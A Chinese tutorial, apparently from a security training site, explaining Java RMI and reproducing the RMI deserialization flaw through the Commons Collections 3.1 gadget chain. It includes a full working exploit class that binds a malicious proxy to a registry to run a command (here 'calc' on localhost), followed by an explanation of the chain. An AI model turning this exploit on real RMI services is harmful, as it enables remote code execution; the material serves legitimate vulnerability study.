原創:Xman21合天智匯
原創投稿活動:
http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
一、RMI簡介
首先看一下RMI在wikipedia上的描述:
JAVA遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。 Java RMI極大地依賴于接口。在需要創建一個遠程對象的時候,程序員通過傳遞一個接口來隱藏底層的實現細節。客戶端得到的遠程對象句柄正好與本地的根代碼連接,由后者負責透過網絡通信。這樣一來,程序員只需關心如何通過自己的接口句柄發送消息。
換句話說,使用RMI是為了不同JVM虛擬機的Java對象能夠更好地相互調用,就像調用本地的對象一樣。RMI為了隱藏網絡通信過程中的細節,使用了代理方法。如下圖所示,在客戶端和服務器各有一個代理,客戶端的代理叫Stub,服務端的代理叫Skeleton。代理都是由服務端產生的,客戶端的代理是在服務端產生后動態加載過去的。當客戶端通信是只需要調用本地代理傳入所調用的遠程對象和參數即可,本地代理會對其進行編碼,服務端代理會解碼數據,在本地運行,然后將結果返回。在RMI協議中,對象是使用序列化機制進行編碼的。
?
我們可以將客戶端存根編碼的數據包含以下幾個部分:
- 被使用的遠程對象的標識符
- 被調用的方法的描述
- 編組后的參數
當請求數據到達服務端后會執行如下操作:
- 定位要調用的遠程對象
- 調用所需的方法,并傳遞客戶端提供的參數
- 捕獲返回值或調用產生的異常。
- 將返回值編組,打包送回給客戶端存根
客戶端存根對來自服務器端的返回值或異常進行反編組,其結果就成為了調用存根返回值。
?
二、RMI示例
接下來我們編寫一個RMI通信的示例,使用IDEA新建一個Java項目,代碼結構如下:
?
Client.java
- package client;
- import service.Hello;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.Scanner;
- public class Client {
- public static void main(String[] args) throws Exception{
- // 獲取遠程主機上的注冊表
- Registry registry=LocateRegistry.getRegistry("localhost",1099);
- String name="hello";
- // 獲取遠程對象
- Hello hello=(Hello)registry.lookup(name);
- while(true){
- Scanner sc = new Scanner( System.in );
- String message = sc.next();
- // 調用遠程方法
- hello.echo(message);
- if(message.equals("quit")){
- break;
- }
- }
- }
- }
Server.java
- package server;
- import service.Hello;
- import service.impl.HelloImpl;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.rmi.server.UnicastRemoteObject;
- public class Server {
- public static void main(String[] args) throws Exception{
- String name="hello";
- Hello hello=new HelloImpl();
- // 生成Stub
- UnicastRemoteObject.exportObject(hello,1099);
- // 創建本機 1099 端口上的RMI registry
- Registry registry=LocateRegistry.createRegistry(1099);
- // 對象綁定到注冊表中
- registry.rebind(name, hello);
- }
- }
Hello.java
- package service;
- import java.rmi.Remote;
- import java.rmi.RemoteException;
- public interface Hello extends Remote {
- public String echo(String message) throws RemoteException;
- }
HelloImpl
- package service.impl;
- import service.Hello;
- import java.rmi.RemoteException;
- public class HelloImpl implements Hello {
- @Override
- public String echo(String message) throws RemoteException {
- if("quit".equalsIgnoreCase(message.toString())){
- System.out.println("Server will be shutdown!");
- System.exit(0);
- }
- System.out.println("Message from client: "+message);
- return "Server response:"+message;
- }
- }
先運行Server,然后運行Client,然后即可進行Server與Client的通信
?
?
三、漏洞復現
RMI反序列化漏洞的存在必須包含兩個條件:
- 能夠進行RMI通信
- 目標服務器引用了第三方存在反序列化漏洞的jar包
注:復現的時候需要JDK8 121以下版本,121及以后加了白名單限制,
這里我們以Apache Commons Collections反序列化漏洞為例,使用的版本為commons-collections.jar 3.1,新建一個漏洞利用的類RMIexploit
- package client;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import javax.management.BadAttributeValueExpException;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Proxy;
- import java.rmi.Remote;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.HashMap;
- import java.util.Map;
- public class RMIexploit {
- public static void main(String[] args) throws Exception {
- // 遠程RMI Server的地址
- String ip = "127.0.0.1";
- int port = 1099;
- // 要執行的命令
- String command = "calc";
- final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
- // real chain for after setup
- final Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[] {String.class, Class[].class },
- new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke",
- new Class[] {Object.class, Object[].class },
- new Object[] {null, new Object[0] }),
- new InvokerTransformer("exec",
- new Class[] { String.class },
- new Object[] { command }),
- new ConstantTransformer(1) };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, entry);
- String name = "pwned"+ System.nanoTime();
- Map<String, Object> map = new HashMap<String, Object>();
- map.put(name, badAttributeValueExpException);
- // 獲得AnnotationInvocationHandler的構造函數
- Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
- cl.setAccessible(true);
- // 實例化一個代理
- InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
- Remote remote = Remote.class.cast(object);
- Registry registry=LocateRegistry.getRegistry(ip,port);
- registry.bind(name, remote);
- }
- }
然后執行RMIexploit
?
四、漏洞分析
其實RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步驟,Commons Collections組件的分析網上已經有很多,這里只對本文使用的調用鏈做簡要分析。
?
如上圖所示,當序列化的數據到達RMI Server后回自動進行反序列化操作,首先是AnnotationInvocationHandler執行readObject函數;然后調用TiedMapEntry的toString函數,再調用同文件的getValue方法;然后調用到LazyMap的get方法;后面的步驟其實一個循環調用的過程,利用ChainedTransformer中的transform方法,多次調用,直到最后的命令執行。
- public Object transform(Object object) {
- for(int i = 0; i < this.iTransformers.length; ++i) {
- object = this.iTransformers[i].transform(object);
- }
不過這里有幾個問題需要專門解釋下。
1、為什么這里的badAttributeValueExpException對象是通過反射構造,而不是直接聲明?
代碼中我們用以下四行反射的方式構造badAttributeValueExpException對象
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, tiedMapEntry);
而不是直接聲明的呢
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
要知道BadAttributeValueExpException的構造函數就是給val遍變量賦值
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
但是仔細看這個構造函數,當val不為空的時候,是將val.toString()賦值給this.val,因此這樣直接聲明的話會直接通過toString()觸發命令執行。但是在真正反序列化的時候,由于val變成了String類型,就會造成漏洞無法觸發。
2、為什么不直接將badAttributeValueExpException對象bind到RMI服務?
執行bind操作需要對象類型為Remote,這里BadAttributeValueExpException無法直接轉換為Remote類型,因此需要將其封裝在AnnotationInvocationHandler里面。在這個Poc中只要是繼承了InvocationHandler的動態代理類都可以,比如我們自定義以下類
- package client;
- import javax.management.BadAttributeValueExpException;
- import java.io.Serializable;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- public class PocHandler implements InvocationHandler, Serializable {
- private BadAttributeValueExpException ref;
- protected PocHandler(BadAttributeValueExpException newref) {
- ref = newref;
- }
- // @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- return method.invoke(this.ref, args);
- }
- }
Poc代碼動態代理聲明一行改為
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));
反序列化過程是遞歸的,封裝在InvocationHandler中badAttributeValueExpException也會執行反序列化操作,因此也能夠觸發命令執行。但是有些Poc的寫法就必須要用sun.reflect.annotation.AnnotationInvocationHandler這個類,因為是利用AnnotationInvocationHandler反序列化過程中readObject函數對map對象的set操作來實現命令執行的,set操作會導致transform操作,使得整個調用鏈觸發。
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
我本地版本jdk的AnnotationInvocationHandler沒有set操作,因此一開始就借助BadAttributeValueExpException進行漏洞觸發。
相關實驗:Java反序列漏洞
點擊:
“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳喲)
?
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關,本文為合天原創,如需轉載,請注明出處!